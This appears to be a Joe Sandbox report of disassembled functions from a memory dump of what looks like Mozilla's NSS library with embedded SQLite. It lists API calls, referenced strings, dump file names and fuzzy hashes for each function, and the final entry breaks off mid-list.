Function 6CE21F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE225F3

Strings

too many references to "%s": max 65535, xrefs: 6CE22FB6
unsafe use of virtual table "%s", xrefs: 6CE230D1
cannot join using column %s - column not present in both tables, xrefs: 6CE232AB
a NATURAL join may not have an ON or USING clause, xrefs: 6CE232C1
multiple recursive references: %s, xrefs: 6CE222E0
H, xrefs: 6CE2329F
access to view "%s" prohibited, xrefs: 6CE22F4A
cannot have both ON and USING clauses in the same join, xrefs: 6CE232B5
no such table: %s, xrefs: 6CE226AC
too many columns in result set, xrefs: 6CE23012
%s.%s, xrefs: 6CE22D68
no such index: "%s", xrefs: 6CE2319D
'%s' is not a function, xrefs: 6CE22FD2
recursive reference in a subquery: %s, xrefs: 6CE222E5
%s.%s.%s, xrefs: 6CE2302D
table %s has %d values for %d columns, xrefs: 6CE2316C
H, xrefs: 6CE2322D
no tables specified, xrefs: 6CE226BE

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 9288e380177a4698454a6b378d6ae9cb48e7d5c6aa49f657687cee95781bf306
Instruction ID: 2474da726bfab65da74743664cf1eeec96fcef9ae3920ea5c9f94a353e32c999
Opcode Fuzzy Hash: 9288e380177a4698454a6b378d6ae9cb48e7d5c6aa49f657687cee95781bf306
Instruction Fuzzy Hash: FAD29C70E14209CFDB14CF99C484B9DB7B2FF59328F388169D855ABB51DB39A842CB90

Function 6CE5ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE5ED38

Part of subcall function 6CDF4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CE5EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CE5EFE4

Part of subcall function 6CF1DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDF5001,?,00000003,00000000), ref: 6CF1DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CE5F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CE5F129
sqlite3_mprintf.NSS3(optimize), ref: 6CE5F1D1
sqlite3_free.NSS3(?), ref: 6CE5F368

Strings

simple, xrefs: 6CE5ED79
fts3tokenize, xrefs: 6CE5F30F
fts3_tokenizer, xrefs: 6CE5EE1A, 6CE5EEA8
unicode61, xrefs: 6CE5EDB5
fts3, xrefs: 6CE5F247
fts4aux, xrefs: 6CE5ECF9
matchinfo, xrefs: 6CE5F04F, 6CE5F082, 6CE5F0C2, 6CE5F0F2, 6CE5F124, 6CE5F169
snippet, xrefs: 6CE5EF05, 6CE5EF37, 6CE5EF7C
optimize, xrefs: 6CE5F199, 6CE5F1CC, 6CE5F211
porter, xrefs: 6CE5ED97
offsets, xrefs: 6CE5EFAF, 6CE5EFDF, 6CE5F01F
fts4, xrefs: 6CE5F2AD

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 8b807dc24819ad9aa88dee16f718e78e9e5ee0e0b747a35ba1a5c2d2595a6d5e
Instruction ID: a18082c2ecbd91c554f858810bb490037332f05af33bee974ffe79e649275f8d
Opcode Fuzzy Hash: 8b807dc24819ad9aa88dee16f718e78e9e5ee0e0b747a35ba1a5c2d2595a6d5e
Instruction Fuzzy Hash: E60215B1B143008BE7049F71988672B77B27FC530CF24853CD85A87B45EB7AE9668792

Function 6CED7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CED7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CED7D1E

Part of subcall function 6CED7870: SECOID_FindOID_Util.NSS3(?,?,?,6CED91C5), ref: 6CED788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CED7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CED7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CED7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CED7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CED7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CED7E58

Part of subcall function 6CED7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CED91C5), ref: 6CED78BB
Part of subcall function 6CED7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CED91C5), ref: 6CED78FA
Part of subcall function 6CED7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CED91C5), ref: 6CED7930
Part of subcall function 6CED7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CED91C5), ref: 6CED7951
Part of subcall function 6CED7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CED7964
Part of subcall function 6CED7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CED797A
Part of subcall function 6CED7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CED7988
Part of subcall function 6CED7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CED7998
Part of subcall function 6CED7870: free.MOZGLUE(00000000), ref: 6CED79A7
Part of subcall function 6CED7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CED91C5), ref: 6CED79BB
Part of subcall function 6CED7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CED91C5), ref: 6CED79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CED7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CED7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CED7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CED7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CED7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CED8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CED8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CED8093
SECOID_FindOID_Util.NSS3 ref: 6CED7F29

Part of subcall function 6CED07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE78298,?,?,?,6CE6FCE5,?), ref: 6CED07BF
Part of subcall function 6CED07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CED07E6
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED081B
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CED8072
SECOID_FindOID_Util.NSS3 ref: 6CED80F5

Part of subcall function 6CEDBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CED800A,00000000,?,00000000,?), ref: 6CEDBC3F

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: d46e4b43e02e4554ecc8446e6622bc52cf022bc0fef6249e39f877999a92d336
Instruction ID: 4c251a22cf6dde68548bff7ddddce3c45911fa3a43747a90e15923e537589914
Opcode Fuzzy Hash: d46e4b43e02e4554ecc8446e6622bc52cf022bc0fef6249e39f877999a92d336
Instruction Fuzzy Hash: 77E1A0716093019FE710CF28D980B5AB7F5AF4530CF26492DE8999BB55E731F806CB92

Function 6CE61C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CE61C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CE61C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CE61CA1
GetLengthSid.ADVAPI32(?), ref: 6CE61CA9
malloc.MOZGLUE(00000000), ref: 6CE61CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE61CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CE61CE4
GetLengthSid.ADVAPI32(?), ref: 6CE61CEC
malloc.MOZGLUE(00000000), ref: 6CE61CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE61D0F
CloseHandle.KERNEL32(?), ref: 6CE61D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CE61D4D
GetLastError.KERNEL32 ref: 6CE61D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CE61D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CE61D7A

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 4ce7ff43841d4f2a4b093afdb6d0bca0fa69e471fe724d189dbc4a4be327eb29
Instruction ID: ae370821fd866f7ee422c62a649ea511982e64acb78b937ba9428039ed6baac5
Opcode Fuzzy Hash: 4ce7ff43841d4f2a4b093afdb6d0bca0fa69e471fe724d189dbc4a4be327eb29
Instruction Fuzzy Hash: 173140B1F10218AFEF51EF64CC48BAA7BB8EF4A345F004065F60993651E7315A94CF65

Function 6CE63D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE63DFB
__allrem.LIBCMT ref: 6CE63EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE63FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE64047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE640DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE6415F
__allrem.LIBCMT ref: 6CE6416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE64288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE642AB
__allrem.LIBCMT ref: 6CE642B7

Strings

%02d, xrefs: 6CE64086
%04d, xrefs: 6CE6407B
%lld, xrefs: 6CE63FB2
%03d, xrefs: 6CE642E8

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: fcc6fac3dcaa4c0f81f956a3e243cb4bb875781f99d69b8a3196e9c31e486b91
Instruction ID: 21e7c215005694478528d0034805206a8eead8751e67df9031dcfcc1ddf9eff2
Opcode Fuzzy Hash: fcc6fac3dcaa4c0f81f956a3e243cb4bb875781f99d69b8a3196e9c31e486b91
Instruction Fuzzy Hash: 10F18671AA87409FD715CF39C851BABB7F6AF86308F208A1EF48597B51E730D4428B42

Function 6CE6EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6EF63

Part of subcall function 6CE787D0: PORT_NewArena_Util.NSS3(00000800,6CE6EF74,00000000), ref: 6CE787E8
Part of subcall function 6CE787D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CE6EF74,00000000), ref: 6CE787FD
Part of subcall function 6CE787D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE7884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CE6F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CE6F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CE6F374
PL_strcasecmp.NSS3(6CFB2FD4,?), ref: 6CE6F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CE6F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE6F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE6F67D
CERT_DestroyName.NSS3(?), ref: 6CE6F68B

Part of subcall function 6CE78320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CE78338
Part of subcall function 6CE78320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE78364
Part of subcall function 6CE78320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CE7838E
Part of subcall function 6CE78320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE783A5
Part of subcall function 6CE78320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE783E3

Part of subcall function 6CE784C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CE784D9
Part of subcall function 6CE784C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE78528

Part of subcall function 6CE78900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CE78955

Strings

*, xrefs: 6CE6F3C6
oid., xrefs: 6CE6F2CF
", xrefs: 6CE6F21B

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 7a596b19ee240fa088a8138bf6ea4619811f9ef38774bff1ee46a3b83043d3f7
Instruction ID: fe73a6f25bd006fc92890ae05f4300e1b8846ebbf37ac0a45aba71b17d5df373
Opcode Fuzzy Hash: 7a596b19ee240fa088a8138bf6ea4619811f9ef38774bff1ee46a3b83043d3f7
Instruction Fuzzy Hash: CD2218716983514BD710CE2AC49036EB7F6AB8631CF28462EE4D587F91E7399C06CB93

Function 6CE11C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE11D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE11EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CE11FB7

Strings

no more rows available, xrefs: 6CE12264
another row available, xrefs: 6CE12287
unsupported file format, xrefs: 6CE12188
table, xrefs: 6CE11C8B
sqlite_master, xrefs: 6CE11C61
attached databases must use the same text encoding as main database, xrefs: 6CE120CA
unknown error, xrefs: 6CE12291
abort due to ROLLBACK, xrefs: 6CE12223
sqlite_temp_master, xrefs: 6CE11C5C
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CE11F83

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: af0458c6d02cc07dac03ed40b12643104adbc5ef9386f06527fcceb3bce68ed5
Instruction ID: 97094aa56fbba97e515a45adef909c77851ad3b3fd409cc1f0e1beca99c5ebf1
Opcode Fuzzy Hash: af0458c6d02cc07dac03ed40b12643104adbc5ef9386f06527fcceb3bce68ed5
Instruction Fuzzy Hash: FC12DF7060C3419FD704CF19C484A5AB7F2BF96318F298A6DE8998BF51D731E856CB82

Function 6CE35F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

2, xrefs: 6CE365B4
BINARY, xrefs: 6CE38708, 6CE38737, 6CE387B8
u, xrefs: 6CE381DA
NOCASE, xrefs: 6CE38703
sub-select returns %d columns - expected %d, xrefs: 6CE3805F
-, xrefs: 6CE362F9
-, xrefs: 6CE36228
ON clause references tables to its right, xrefs: 6CE36BEC

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: b3cc9773d1719b2f4b9b1dba68e77846a9a73b450a06b4fe011749adb4e6322c
Instruction ID: d17376f7e5a70e3b182c2292b2dcfa1da8dfa5f3b16e3968693f391063dd7da7
Opcode Fuzzy Hash: b3cc9773d1719b2f4b9b1dba68e77846a9a73b450a06b4fe011749adb4e6322c
Instruction Fuzzy Hash: 11439174A083518FD314CF28C590B1ABBF2BF8931CF24966DE8998B751D735E846CB92

Function 6CEDEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEDC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEDDAE2,?), ref: 6CEDC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEDF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEDF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CEDF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEDF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CFA218C), ref: 6CEDF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CEDF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEDF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEDF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CEDF210

Part of subcall function 6CE852D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CEDF1E9,?,00000000,?,?), ref: 6CE852F5
Part of subcall function 6CE852D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CE8530F
Part of subcall function 6CE852D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CE85326
Part of subcall function 6CE852D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CEDF1E9,?,00000000,?,?), ref: 6CE85340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEDF227

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CEDF23E

Part of subcall function 6CECBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE7E708,00000000,00000000,00000004,00000000), ref: 6CECBE6A
Part of subcall function 6CECBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE804DC,?), ref: 6CECBE7E
Part of subcall function 6CECBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CECBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEDF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEDF3A8

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEDF3B3

Part of subcall function 6CE82D20: PK11_DestroyObject.NSS3(?,?), ref: 6CE82D3C
Part of subcall function 6CE82D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE82D5F

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 1f5e345801c4dfa2e5fda4ea42e8782a6d7f23c1ec6eb5c9932b5322cc289459
Instruction ID: c28b286c2c25f58b142508ef43eb710a57aa70a91852a9c8267fbdc92c644dc7
Opcode Fuzzy Hash: 1f5e345801c4dfa2e5fda4ea42e8782a6d7f23c1ec6eb5c9932b5322cc289459
Instruction Fuzzy Hash: 53D160B6E016059FDB14CF99D880A9EB7F5EF4830CF2A8129D915A7711EB35F806CB50

Function 6CF0DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CEE7FFA,00000000,?,6CF123B9,00000002,00000000,?,6CEE7FFA,00000002), ref: 6CF0DE33

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

